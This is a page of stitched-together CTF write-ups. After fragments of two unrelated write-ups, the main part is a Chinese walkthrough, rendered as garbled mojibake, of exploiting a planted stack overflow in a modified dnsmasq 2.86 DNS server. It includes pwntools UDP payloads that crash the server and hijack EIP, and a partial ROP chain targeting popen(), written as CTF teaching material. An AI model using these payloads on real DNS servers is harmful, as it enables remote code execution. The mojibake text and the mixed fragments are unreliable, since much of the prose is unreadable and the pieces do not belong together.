4dq2xs8eLDnIoKdDW/PhNOnT6s8+shpcOqiLy0+JPdUHV9m2gEFDV3xE9UbRuKKDm7q5SlSdISMlJ4ew4/IgaLDdpBnAEDJQGyuU0QACDMxnYDIAdYmRQeUI7yvXLZs0aJFzGYEgEdHSgeTh9AhNqdHjx4JtedmxiVgUA4ePOhZD3MkmXvdaJYsWWJsI2LzEBENZohI6WD27NlT7nGRVqxYIffISPyUQjrtgBI/TBoHJhM9EhfUy5cvr67D7kT0Y8eOtdFwHUT9+vXV9U2bNqnrUAZzGlM8E5x9qQ4ikVM6Z8IARgfOYyBMCg7TdSw2/MD6HOaFgetUhi0ptYG86ZB7TuN2HxPwDFQPzxaxeYhwfTNxWLEluHs24nqkFwNWQgoFxMHQEDMAGPbpXzDg1+am5mXLlinRBp+8P1zVBnpie27HgkMrp+FKiy1btii2x06PbFKgwRnwBC52DRs2TB1qjd0ZtS2dE9x2QEHwJwTvB0EUvP+HQXp0wJmK/NPD/HcM0FBT4D2wcuVKpULDAkEnFmLC52bWihUrqjx2SjTJ4yz40aNHa++L8BZ+LxMQxkJKC+Qp0B8+SKTuc/sXDpiaSL+K4H/aKclz6jGYf+vxZRx+PTp4uJ/fqF4Tm/MUKTpChnzfpTdCEuBU90MZQO5+PDwEqyVFpTmNYegbRQPzs0CcaNu2rXRn9IJTaUFTCoR+P4BEoXNJx/T4DxR8hZK81B6uAAAAAElFTkSuQmCC```
:eyes: :eyes: :eyes:, as the saying goes.
Pasting all this into a browser gave a QR code:

There was a QR code challenge in this CTF that had only one solve, butthankfully this code could be scanned and contained the text`ACTF{wow_h0w_IEEE_U_r}`, which is the end of our journey.
## Takeaways
* Sometimes it's worth tunnelling on a challenge, since with dynamic scoring it'll have a high point value and thus be equal to working on multiple challenges with more solves and lower point values...as long as you end up getting the flag.* I've never been more prepared for CTF radio challenges (specifically using FSK) in my life.* Seriously, this was an incredibly well-designed challenge, with minimal guesswork, and a ton of eureka moments. 10/10 would escape again. |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/justCTF22/pwn/arm/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/justCTF22/pwn/arm/README.md) |
# Hackerized
We are given a string with weird UTF characters.I noticed that it looks like a intense leet code.After decoding the leet code and several trials and error, I was able to get the flag.
(Unfortunately I don't have access to the challenges anymore, so I cannot give you the exact flag. I will make notes of the challenges for the next CTF) |
# ACTF 2022 Pwn Master of DNS
> æ¯èµæ¶ïŒé
å䞺Redbudæ¿äžæ¬é¢äžè¡ïŒæäžºèµåå€ç°ãé¢ç®äžºDNSæå¡åšèœ¯ä»¶dnsmasq 2.86ïŒæŒæŽäžºäººå·¥åå
¥çåååæ®µæ 溢åºãç±äºäº€äºæ¥å£äžºçå®çœç»çšåºçsocketïŒå æ€åŠäœå°flagåžŠåºæäžºæ¬é¢çéç¹ãè¿éæäœ¿çšROPïŒå¹¶ç»åæ æº¢åºåŽ©æºç°åºæ®ççå¯ååšä¿¡æ¯ïŒå®æäºä»»æåœä»€çpopenè°çšïŒæç»äœ¿çšwgetå°flag垊åºã

- éä»¶ïŒ[dns.zip](https://xuanxuanblingbling.github.io/assets/attachment/actf/dns.zip) - 宿¹WPïŒ[writeup.md](https://github.com/team-s2/ACTF-2022/blob/main/pwn/master_of_dns/exploits/writeup.md)
## 确讀蜯件
é¢ç®æ¯äžªDNSæå¡åš:
- PCäžåžžè§[BIND](https://www.isc.org/bind/)- IoTäžåžžè§[Dnsmasq](https://thekelleys.org.uk/dnsmasq/doc.html)
éèŠäœ¿çšlibc 2.28ä»¥äžæèœæ£åžžå¯åšæ¬é¢ïŒèœç¶é¢ç®æå
·äœçdns蜯件åéå»äºïŒäœéè¿2.86ççæ¬å·è¿æ¯èœåŸææŸççåºæ¥ïŒèœ¯ä»¶äžº[dnsmasq-2.86.tar.gz](https://thekelleys.org.uk/dnsmasq/dnsmasq-2.86.tar.gz)ïŒ
```câ ./dns --helpUsage: dns [options]
â ./dns -v Dns version 2.86```
对äºç»åºçå®èœ¯ä»¶çCTFé¢ç®ïŒæŒæŽå¯èœæ¯çå®ååšç1dayæè
0dayïŒä¹æå¯èœæ¯åºé¢äººåè¿å»çäžäžªæŒæŽã对äºdnsmasqïŒèœæŸå°äžäºå 溢åºåŒåçDoSïŒä»¥å对èŸèç2.78çæ¬ïŒ2017幎ïŒçRCEïŒäœæ¯æ²¡ææŸå°æ°çæ¬å¯RCEçæŒæŽæè
æ«é²æç« ïŒæä»¥çèµ·æ¥åæŽçå¯èœæ§æŽå€§ã
- [Behind the Masq: Yet more DNS, and DHCP, vulnerabilities](https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html)- [https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=dnsmasq](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=dnsmasq)- [Dnsmasq < 2.78 - Heap Overflow](https://www.exploit-db.com/exploits/42942)
## æŒæŽææ
éŠå
è¿è¡åºæ¬æ£æ¥ïŒx86ïŒæ 笊å·ïŒæ²¡canaryïŒå¯ä»¥çæµå€§æŠçæ¯æ 溢åºïŒ
```câ file ./dns./dns: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), strippedâ checksec ./dns Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)```
èœç¶ç»åºçäºè¿å¶æ 笊å·ïŒäœå
¶ä¹æ¯äžæ¬ŸåŒæºèœ¯ä»¶ïŒå æ€åºæ¬äžéèŠéåãå¯¹äºæ¬é¢ïŒäžæ¬Ÿææºç çdnsèœ¯ä»¶ïŒæä»¬æåç§è§åºŠïŒæè
è¯Žææ®µïŒæ¥å€çä»ïŒè®€è¯ä»ïŒ
1. æºç 2. äºè¿å¶3. gdbè°è¯4. æµéè°è¯
### äºè¿å¶æ¯å¯¹
çæµæ¯åæŽïŒåç¥éæ€åŒæºèœ¯ä»¶çå
·äœçæ¬å·ïŒæä»¥å¯ä»¥èªå·±çŒè¯äžäžªå¯¹åºçæ¬ç¶åè¿è¡äºè¿å¶æ¯å¯¹ãä¹åèœç¶äœ¿çšè¿bindiffïŒ[æç§è·¯ç±åš RV110W CVE-2020-3331 æŒæŽå€ç°](https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/)ïŒäœä¹åæ¯diffäžäžªååçå级ååçäºè¿å¶ïŒæ²¡æèªå·±çŒè¯çæºäŒãåŠææ¯èªè¡çŒè¯ïŒæä»¥äžäž€ç¹éèŠæ³šæïŒ
- çŒè¯åšçæ¬- çŒè¯é项
éŠå
äžåççŒè¯åšïŒæè
çžåçŒè¯åšçäžåçæ¬ïŒå
¶çŒè¯çè¡äžºå¯èœäžåïŒè¿å°äŒäžºäºè¿å¶æ¯å¯¹é æéº»çŠïŒå æ€æä»¬éèŠå°œé䜿çšäžç®æ å®å
šäžèŽççŒè¯åšãéè¿é¢ç®äºè¿å¶äžçå笊䞲信æ¯å¯ä»¥çåºæ¥é¢ç®æ¯äœ¿çšäºubuntu20.04çgcc 9.4.0ïŒç»è¿ç¡®è®€è¿å°±æ¯ubuntu20.04äžé»è®€aptå®è£
çgccïŒ
```câ strings ./dns | grep GCCGCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0â gcc --versiongcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0```
ç¶åæ¯çŒè¯é项ïŒéèŠæ ¹æ®ç®æ 屿§ïŒåå°äžç®æ å°œéäžèŽïŒæä»¥å¯¹èœ¯ä»¶çmakefileè¿è¡åŠäžä¿®æ¹ïŒäž»èŠæ¯åäžªå±æ§ïŒ
> åŒå§æ²¡æ³šæå°èŠå
³pieåcanaryïŒå€äºé
åæé
- -m32 : çæ32䞺代ç - -fno-stack-protector : å
³canary- -no-pie : å
³PIE- å æ-O2ïŒå
³éçŒè¯äŒå
```cCFLAGS = -m32 -fno-stack-protector -Wall -W LDFLAGS = -m32 -no-pie ```
ç¶åçŒè¯å³å¯ïŒçŒè¯åºçäºè¿å¶é»è®€çæåšèœ¯ä»¶æºç äžçsrcç®åœäžïŒ
```câ makeâ file ./src/dnsmasq ./src/dnsmasq: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), not stripped```
ç¶åå³å¯äœ¿çšbindiffè¿è¡äºè¿å¶æ¯å¯¹ïŒå¯ä»¥åç°ïŒçžäŒŒåºŠäžäžº100%çåªæä»¥äž10äžªåœæ°ïŒé£å¯ä»¥æšäžªççè¿å»ïŒ

æç»éå®extract_nameåœæ°ïŒåšé¢ç®äºè¿å¶äžäžºsub_0804F345åœæ°ïŒåŸææŸé¢ç®å€äºäžªmemcpyïŒ

è¿äžªmemcpyè¿æ¯åŸæ äžæ·èŽïŒç»åé¢ç®æ²¡æcanaryïŒé£å¿
ç¶æ¯è¿äžªç¹çæ æº¢åºæ çäºïŒ

å¯ä»¥åèæºç åç°ïŒè¿äžªmemcpyçsrc䞺extract_nameåœæ°nameåæ°ïŒ
> dnsmasq-2.86/src/rfc1035.c
```cint extract_name(struct dns_header *header, size_t plen, unsigned char **pp, char *name, int isExtract, int extrabytes)```
é£è¿äžªåæ°ç©¶ç«æ¯äžæ¯æä»¬æ¥è¯¢çååå¢ïŒé€äºé
读æºç è¿è¡åæïŒæä»¬å¯ä»¥éè¿è°è¯æŽè¿
éç确讀ã
### gdbè°è¯
æŸå°è°çšæ€memcpyç代ç å°åïŒ
```c.text:0804F435 push [ebp+n] ; n.text:0804F438 push [ebp+src] ; src.text:0804F43B lea eax, [ebp+dest].text:0804F441 push eax ; dest.text:0804F442 mov ebx, edx.text:0804F444 call _memcpy```
é¢ç®dnsæå¡çå¯å𿹿³è¿è¡åšåå°ïŒéè¿-dåæ°å¯ä»¥çŽæ¥å¯åšåšåå°ïŒïŒæä»¬å°œéäžé¢ç®ä¿æäžèŽïŒ
```câ ./dns -C ./dns.conf â ps -ef | grep dnsxuanxuan 6363 1914 0 08:06 ? 00:00:00 ./dns -C ./dns.conf```
äœäžç¥é䞺ä»ä¹æææ¯äžªæ®éçšæ·çè¿çšgdbåŽæäžäžïŒåªèœäœ¿çšrootçšæ·çgdbéå å°æ€è¿çšäžïŒæä»¥èŠærootçšæ·çgdbæä»¶å®è£
奜ïŒç¶åæ£åžžææç¹æåšçäŒŒæŒæŽçmemcpyäžïŒ
```câ gdb --pid 6363 ptrace: Operation not permitted.â sudo gdb --pid 6363pwndbg> b * 0x804F444Breakpoint 1 at 0x804f444pwndbg> c```
åèµ·äžäžªæ£åžžçdnsæ¥è¯¢ïŒ
```câ dig @127.0.0.1 -p 9999 baidu.com```
å³å¯æäžïŒç¡®è®€æ·èŽçåæ®µè¿çæ¯åå:
```cBreakpoint 1, 0x0804f444 in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATAââââââââââââââââââââââââââââââââââ[ DISASM ]âââââââââââââââââââââââââââââââââââ ⺠0x804f444 call memcpy@plt <memcpy@plt> dest: 0xffbfc2f7 ââ 0x9bea000 src: 0x9f075b0 ââ 'baidu.com' n: 0xa```
å°è¯åéèŸé¿åååç°ïŒdigçŽæ¥äŒæç€ºè¿é¿æ æ³åéïŒèŠæ±ååäžæ¯äžªæ®µæ çŸïŒäž€äžªç¹ä¹éŽçå笊䞲ïŒé¿åºŠäžèœè¶
è¿63䞪åèïŒè¿å
¶å®æ¯åš[rfc1035](https://www.ietf.org/rfc/rfc1035.txt)äžè§å®çïŒ
```câ dig @127.0.0.1 -p 9999 baidu.comaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
dig: 'baidu.comaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' is not a legal IDNA2008 name (domain label longer than 63 characters), use +noidnin```
### æµéè°è¯
æ¢ç¶çšå·¥å
·äžæ¯çµæŽ»ïŒé£å°±ççdnsè¯·æ±æ°æ®å
çæ ŒåŒå°åºæ¯ä»ä¹æ ·æïŒ
```câ dig @127.0.0.1 -p 9999 baidu.com```
wiresharkæäžäžªäžæ¥ïŒ

DNSäžå¿
éæ°æ®åŠäžïŒ
```0000 cd 36 01 20 00 01 00 00 00 00 00 01 05 62 61 690010 64 75 03 63 6f 6d 00 00 01 00 01```
- åé¢äžäžªå€ŽïŒ`cd 36 01 20 00 01 00 00 00 00 00 01`ïŒå䞀䞪åèçTransaction IDïŒcd 36ïŒå¯ä»¥éæ- åé¢äžäžªå°ŸïŒ`00 01 00 01`- Additional recordsïŒç»è¿æµè¯å¯ä»¥å æ- äž»èŠæ¯åååæ®µïŒäŒæbaidu.comå
¶äžçç¹ææé¿åºŠïŒ`\x05 baidu \x03 com \x00`
æä»¥çèµ·æ¥é€äºååæ¯äžªlabelçé¿åºŠéèŠæ§å¶äžº63ïŒ0x3fïŒåè以å€ïŒæå¡ç«¯dnsmasqäŒæ£æ¥ïŒïŒæ²¡æå
¶ä»éèŠéæ°è®¡ç®çåæ®µïŒé¿åºŠïŒæ ¡éªç çïŒïŒå æ€æå·¥æé 乿²¡æå€ªå€éº»çŠãèœç¶å¯ä»¥çšscapyïŒäœæ¯æŽåæ¬¢åœ»åºæ§å¶æ¯äžäžªåèïŒå æ€äœ¿çšpwntoolsæå·¥æé ïŒç»ååšsub_0804F345åœæ°äžäŒå€ænameæ»é¿åºŠäžèœå€§äº0x400ïŒååçæ¯äžæ®µlabelçé¿åºŠäžº0x40(0x3f+0x1)ïŒå æ€åšäžäžªååäžïŒæ»å
±å¯ä»¥æé 0x10段é¿åºŠäžº0x3fçlabelïŒåšæŽäžªååçå颿äžäžª00空åèäžèŠå¿äºå ãæ ¹æ®IDAïŒæ·èŽç®æ çæ åédest犻æ åºåªæ0x381åèïŒæä»¥åŠ¥åŠ¥æ æº¢åºïŒ
```pythonfrom pwn import *
io = remote("127.0.0.1",9999,typ='udp')
head = bytes.fromhex("000001200001000000000001")payload = (b'\x3f'+b'a'*0x3f)*16 + b'\x00'end = bytes.fromhex("00010001")
io.send(head + payload + end)```
æç¶æº¢åºïŒèäžå¯ä»¥çå°ïŒåéçæ¯æ®µlabelåçé¿åºŠïŒæ¯åŠè¿éç0x3fæç»åšmemcpyå·²ç»è¢«èœ¬æ¢æäºç¹ïŒ0x2eïŒïŒ
```cpwndbg> cContinuing.
Program received signal SIGSEGV, Segmentation fault.0x61616161 in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATAâââââââââââââ âââââââ[ REGISTERS ]âââââââââââââââââââââââââââ*EBX 0x612e6161 ('aa.a')*ECX 0xffb99b00 ââ 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'*EDX 0xffb997a7 ââ 0x61616161 ('aaaa') EDI 0xf7f35000 (_GLOBAL_OFFSET_TABLE_) ââ 0x1ead6c ESI 0x940a9c0 ââ 0x2910*EBP 0x61616161 ('aaaa')*ESP 0xffb99b30 ââ 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'*EIP 0x61616161 ('aaaa')âââââââââââââââââââââââ[ DISASM ]ââââââââââââââââââââââââââââInvalid address 0x61616161```
### 溢åºé¿åºŠ
ç»è¿æµè¯ïŒæº¢åºé¿åºŠä»¥æç»memcpyæ¶çæ°æ®è§è§äžº0x385ïŒä»¥payloadè§è§äžº0x386ïŒç±äºé¿åºŠå段äŒè¢«å€çæç¹ïŒ:
> è¿éåš14段满é¿0x3fçæ®µåè·äºäžäžªé¿åºŠäžº4çå°æ®µïŒæ¯äžºäºè®©ä¹åROPéŸä»äžäžªæ°çlabelåŒå€ŽåŒå§ïŒååæŽéœïŒæ¹äŸ¿å€ç
```pythonfrom pwn import *
io = remote("127.0.0.1",9999,typ='udp')
payload = (b'\x3f'+b'a'*0x3f)*14 payload += b'\x04'+b'a'*4payload += b'\x04'+p32(0xdeadbeef)payload += b'\x00'
head = bytes.fromhex("000001200001000000000001")end = bytes.fromhex("00010001")
io.send(head + payload + end)```
æå嫿eip䞺0xdeadbeefïŒ
```cpwndbg> cContinuing.
Program received signal SIGSEGV, Segmentation fault.0xdeadbeef in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATAâââââââââââââââââââââââââââââââââ[ REGISTERS ]ââââââââââââââââââââââââââââââââââ*EAX 0x61616161 ('aaaa')*EBX 0x612e6161 ('aa.a')*ECX 0xffb38e40 ââ 0x61616161 ('aaaa')*EDX 0xffb38b47 ââ 0x61616161 ('aaaa') EDI 0xf7f41000 (_GLOBAL_OFFSET_TABLE_) ââ 0x1ead6c ESI 0x89939c0 ââ 0x2910*EBP 0x2e616161 ('aaa.')*ESP 0xffb38ed0 ââž 0x8994000 ââž 0x8993fc0 ââž 0x8993fe0 ââ 'misses.bind'*EIP 0xdeadbeefâââââââââââââââââââââââââââââââââââ[ DISASM ]âââââââââââââââââââââââââââââââââââInvalid address 0xdeadbeef```
以memcpyæ¶çæ°æ®è§è§ïŒæº¢åºé¿åºŠç¡®å®äžº0x385ïŒ
```cpwndbg> x /20wx 0xffb38b47-0x100xffb38b37: 0x00038a08 0x04f35800 0x00000008 0x000000000xffb38b47: 0x61616161 0x61616161 0x61616161 0x616161610xffb38b57: 0x61616161 0x61616161 0x61616161 0x616161610xffb38b67: 0x61616161 0x61616161 0x61616161 0x616161610xffb38b77: 0x61616161 0x61616161 0x61616161 0x2e616161pwndbg> x /20wx $esp - 0x100xffb38ec0: 0x61616161 0x612e6161 0x2e616161 0xdeadbeef0xffb38ed0: 0x08994000 0x0000039b 0xffb38efc 0x089935b00xffb38ee0: 0x00000001 0x00000004 0xffb39038 0x080516ed0xffb38ef0: 0x00000000 0x00000000 0xffb38f00 0x089944370xffb38f00: 0x00000004 0x080a5d98 0xffb39038 0x08065c04pwndbg> p /x (0xffb38ecc - 0xffb38b47)$1 = 0x385```
## æŒæŽå©çš
### 蜜è·éå¶
æ ¹æ®æº¢åºç¹éå¶ä»¥åæé æ°æ®å
çèŠæ±ïŒåšæŒæŽå©çšæ¶éèŠæ³šæpayloadçéå¶ïŒ
- 溢åºé¿åºŠæéïŒ0x400 - 0x385 = 123- æç
§0x3fäžºäžæ®µïŒæº¢åºé¿åºŠåªæäžå°äž€æ®µ- 䞀段ä¹éŽæååšmemcpyæ¶ïŒå¿
ç¶äŒä»¥0x2eè¿è¡åå²ïŒéèŠèèåŠäœå€ç- ç»è¿æµè¯ïŒæŽäžªååæ°æ®äžïŒäžèœæç©ºå笊ïŒåŠåäŒè¢«æªæ
### éä¿¡ä¿¡é
ç¶åéèŠèèå©ç𿹿³ïŒå¯¹äºçå®çœç»æå¡èœ¯ä»¶çæŒæŽå©çšïŒäžèœäœ¿çšæ åèŸå
¥èŸåºæ¥è·åå°è¿çšçshellïŒä¹ååè¿ïŒ[Getshellè¿çšïŒç·RCE æ£è¿ïŒåè¿ïŒäžè¿ïŒ](https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/13/getshell3/)ïŒå æ€æ§å¶æµå«æçç®æ äžèœæ¯one_gadgetè¿ç§äžè¥¿ãæ¬é¢æ 溢åºïŒæNXïŒæä»¥éŠå
å¿
ç¶æ¯ROPïŒçšåºäžæ²¡æçŽæ¥çmprotectïŒä¹äžååšçŽæ¥æ³é²libcå°udpä¿¡éå¹¶äžå¯äº€äºçåæ³ïŒæä»¥åºè¯¥å°±æ¯çº¯é ROP宿å©çšã对äºçå®çœç»æå¡ïŒæflagåžŠåºæ¥çæ¹æ³ïŒå¯ä»¥ä»ä¿¡éçæå»ºåäžºäž€ç§æ¹æ³ïŒå€çšä¿¡éåæ°å»ºä¿¡éã
#### å€çšä¿¡é
峿¬èº«å»ºç«çä¿¡éïŒæflagæ·èŽå°dnsåå€çžåºäžå¹¶ä¿®å¥œæ£åžžè¿åé»èŸçæ ãçŽæ¥äœ¿çšæä»¶æè¿°ç¬Šåæ¬éŸæ¥ä¿¡éåå
¥flagïŒ
- [StarCTF 2022 x86 Bare Metal Pwn ping](https://xuanxuanblingbling.github.io/ctf/pwn/2022/04/22/ping/)- [ByteCTF 2021 AArch64 Pwn Master of HTTPD](https://xuanxuanblingbling.github.io/ctf/pwn/2021/12/13/aarch64/)- [X-NUCA 2020 Final å¢éèµïŒQMIPS](https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/11/xnuca/)
äœæ¯å¯¹äºæ¬äœæ¯èŸå€æçDNS蜯件ïŒçšROPæ·èŽflagå°è¿åæ°æ®äžåä¿®æ æ³æ³å°±å¯èœäŒéå°åŸå€é®é¢ïŒå¹¶äžåšudpçserveräžïŒäžèœçŽæ¥åfdè°çšwrite以åå
¥è¿è¡æ°æ®å€åžŠãå 䞺linux讟计çudp serverçsocketïŒäžäœ¿çšacceptåœæ°å°æ¯äžªå®¢æ·ç«¯è¿æ¥æ å°äžºäžäžªfdïŒèæ¯ææçudpè¿æ¥éœå€çšåäžäžªæä»¶æè¿°ç¬Šãäºæ¯åšå¯¹äžå客æ·ç«¯å倿¶æ¯æ¶ïŒæŸç¶äžèœäœ¿çšwriteåœæ°ïŒå 䞺ä»
çšwriteåœæ°åªæäžäžªåæ°ïŒæ æ³åºå客æ·ç«¯ãå
¶äœ¿çšsendtoåœæ°ïŒå¹¶äŒ é仿¯æ¬¡recvfromæ¥æ¶å°ç客æ·ç«¯ä¿¡æ¯çç»æäœsockaddrïŒä»¥åºå客æ·ç«¯ïŒ
```c#include <stdio.h> #include <string.h> #include <netinet/in.h>
int main(){ char buffer[1024]; struct sockaddr_in server_addr, client_addr; int len = sizeof(client_addr); memset(&server_addr, 0, sizeof(server_addr)); memset(&client_addr, 0, sizeof(client_addr));
server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(8080);
int sockfd = socket(AF_INET, SOCK_DGRAM, 0); bind(sockfd, (const struct sockaddr *)&server_addr, sizeof(server_addr)); printf("[+] socket fd : %d\n",sockfd);
while(1){ recvfrom(sockfd, (char *)buffer, 1024, MSG_WAITALL, (struct sockaddr *) &client_addr, &len;;
printf("[+] recv socket fd : %d\n",sockfd); printf("[+] recv client addr : %x\n",client_addr.sin_addr.s_addr); printf("[+] recv client port : %x\n",client_addr.sin_port);
sendto(sockfd, "Hello", 5, MSG_CONFIRM, (const struct sockaddr *) &client_addr, len); }}```
å¯ä»¥äœ¿çšncè¿æ¥æ¬å°çudp 8080è¿è¡æµè¯ïŒçç¡®ææçè¿æ¥éœæ¯åäžäžªfdïŒ
```câ ./test [+] socket fd : 3[+] recv socket fd : 3[+] recv client addr : 10b0b0a[+] recv client port : 8df5[+] recv socket fd : 3[+] recv client addr : 100007f[+] recv client port : dfa9```
æä»¥åŠæäœ¿çšæ€æ³ïŒè¿éèŠçšROPè°çšsendtoïŒå¹¶äžè¿éèŠç¥éïŒæè
åšå
åäžå¯»æŸå°æä»¬è¿åºå»ç客æ·ç«¯å°åä¿¡æ¯ïŒå¹¶äžåžçœ®å¥œç»æäœä»¥è°çšsendtoïŒè¿çèµ·æ¥æªå
麻çŠäºäºãå¹¶äžè¿çšçtcp端å£ïŒç确没æåŒå¯ïŒå æ€æå°±æ²¡æäœ¿çšè¿ç§æ¹æ³å®ææ¬é¢ã
#### æ°å»ºä¿¡é
åŠå€å°±æ¯è®©ç®æ çšåºåæ»å»è
æ°å»ºäžäžªä¿¡éïŒåœä»€æ§è¡å匹shellãå€åžŠflagçïŒ
- [ååŸèäžèµ·åŠPwn ä¹ Pwnable.tw CVE-2018-1160](https://xuanxuanblingbling.github.io/ctf/pwn/2021/11/06/netatalk/)- [西æ¹è®ºå 2020 IoTé¯å
³èµ èµåæŽçïŒbabyboa](https://xuanxuanblingbling.github.io/iot/2020/11/17/iot/)- [HITCTF 2020 äžé Pwn](https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/09/hitctfpwn/)
äœå 䞺äžç¥éè¿çšlibcçæ¬ïŒROPä¹åŸéŸæåºmprotectè¿èæ§è¡shellcode以å匹shellãæä»¥åšçº¯ROPçæ
åµäžïŒè®©ç®æ çšåºæ°å»ºä¿¡éçç®ååæ³å°±æ¯æ§è¡systemãpopençshellåœä»€ä»¥å匹shellæè
å€åžŠflagïŒè¿ç±»ææ®µåšwebäžæŽåžžè§ãæ¬é¢ä»£ç äžèœç¶æ²¡æsystemåœæ°ïŒäœæ¯æpopenåœæ°ïŒè¿ç»äºæä»¬æºäŒïŒ
```c.text:08071802 push edx ; modes.text:08071803 push eax ; command.text:08071804 call _popen```
éèŠæ³šæpopenéèŠäž€äžªåæ°ïŒç¬¬äºäžªåæ°ä¹æ¯äžªå笊䞲ïŒåºå®äžº"r"ã"w"çïŒè¡šç€ºè¯»åïŒ
```c# include <stdio.h>int main(){ popen("touch /tmp/x","r");}```
### åæ°åžçœ®
确讀䜿çšpopenåïŒæä»¬éèŠèèpopençåæ°æä¹åžçœ®ãx86çåœæ°è°çšåæ°æŸåšæ äžïŒåŠæäœ¿çšretç³»åçgadgetïŒretè°çšæ¶æ åžå±è¯¥äžºåŠäžïŒ
```cäœå°å
esp -> - popen plt - ret padding - p1 - p2
é«å°å```
å 䞺popençåæ°æ¯å笊䞲å°åïŒæä»¥éèŠç¡®è®€æ¯åŠæçŽæ¥å¯çšçåºå®å°å以ä¿ååéçååæ°æ®ïŒå¯ä»¥åéäžäžªç¹åŸäž²ïŒç¶åè°è¯ïŒ
```pythonfrom pwn import *
io = remote("127.0.0.1",9999,typ='udp')
payload = (b'\x3f'+b'a'*0x3f)*14 payload += b'\x04'+b'xdns'payload += b'\x04'+p32(0xdeadbeef)payload += b'\x00'
head = bytes.fromhex("000001200001000000000001")end = bytes.fromhex("00010001")
io.send(head + payload + end)```
å¯ä»¥åç°æä»¬åéçååæ°æ®åšåçæ§å¶æµå«ææ¶ïŒåªåšå äžåæ äžïŒæ²¡æåšåºå®å°åçæ°æ®æ®µæè
bss段äžïŒ
```cpwndbg> search xdns[heap] 0x8d38930 0x736e6478 ('xdns')[heap] 0x8d3942d 0x736e6478 ('xdns')[stack] 0xffd07757 0x736e6478 ('xdns')```
ç±äºæ åå çéæºåïŒæä»¬äžèœåšè¿çšç¡®å®å
¶å°åïŒèäžç¡®å®çå°åæ æ³çŽæ¥éè¿èŸå
¥åžçœ®äžºROPæ°æ®ãå æ€æä»¬éèŠæ³äžäžªåæ³ïŒåšROPäžå¯ä»¥åŸå°æ æè
å çå°åïŒè¿æ¶å¯ä»¥å©çšåŽ©æºç°åºæ®åçæ°æ®ïŒåŠæ ãå¯ååšçïŒ
```cProgram received signal SIGSEGV, Segmentation fault.0xdeadbeef in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATAââââââââââââââââââââââââââââââââ[ REGISTERS ]ââââââââââââââââââââââââââââââââ*EAX 0x61616161 ('aaaa')*EBX 0x782e6161 ('aa.x')*ECX 0xffe4e540 ââ 0x61616161 ('aaaa')*EDX 0xffe4e257 ââ 0x61616161 ('aaaa') EDI 0xf7f8c000 (_GLOBAL_OFFSET_TABLE_) ââ 0x1ead6c ESI 0x8d429c0 ââ 0x2910*EBP 0x2e736e64 ('dns.')*ESP 0xffe4e5e0 ââž 0x8d43000 ââž 0x8d42fc0 ââž 0x8d42fe0 ââ 'misses.bind'*EIP 0xdeadbeefâââââââââââââââââââââââââââââââââ[ DISASM ]ââââââââââââââââââââââââââââââââââInvalid address 0xdeadbeef
ââââââââââââââââââââââââââââââââââ[ STACK ]ââââââââââââââââââââââââââââââââââ00:0000â esp 0xffe4e5e0 ââž 0x8d43000 ââž 0x8d42fc0 ââž 0x8d42fe0 ââ 'misses.bind'01:0004â 0xffe4e5e4 ââ 0x39b02:0008â 0xffe4e5e8 ââž 0xffe4e60c ââž 0x8d43437 ââ 0x100010003:000câ 0xffe4e5ec ââž 0x8d425b0 ââ 0x61616161 ('aaaa')04:0010â 0xffe4e5f0 ââ 0x105:0014â 0xffe4e5f4 ââ 0x406:0018â 0xffe4e5f8 ââž 0xffe4e748 ââž 0xffe4e7f8 ââž 0xffe4e978 ââ 0x007:001câ 0xffe4e5fc ââž 0x80516ed ââ add ebx, 0x546ab```
#### å©çšåŽ©æºç°åºçæ
å¯ä»¥åç°ïŒåœåçåŽ©æºæ¶ïŒæ äžææåå äžä¿åååçå°åïŒçèµ·æ¥åŸæå¯èœæé åŠäžROPïŒ
```pythonfrom pwn import *
io = remote("127.0.0.1",9999,typ='udp')
# 0x08059d44 : pop eax ; ret# 0x0804ab40 ; popen()
payload = (b'\x3f'+b'a'*0x3f)*14 payload += b'\x04'+b'a'*4payload += b'\x0c'+p32(0x08059d44)+p32(0x11223344)+p32(0x0804ab40)payload += b'\x00'
head = bytes.fromhex("000001200001000000000001")end = bytes.fromhex("00010001")
io.send(head + payload + end)```
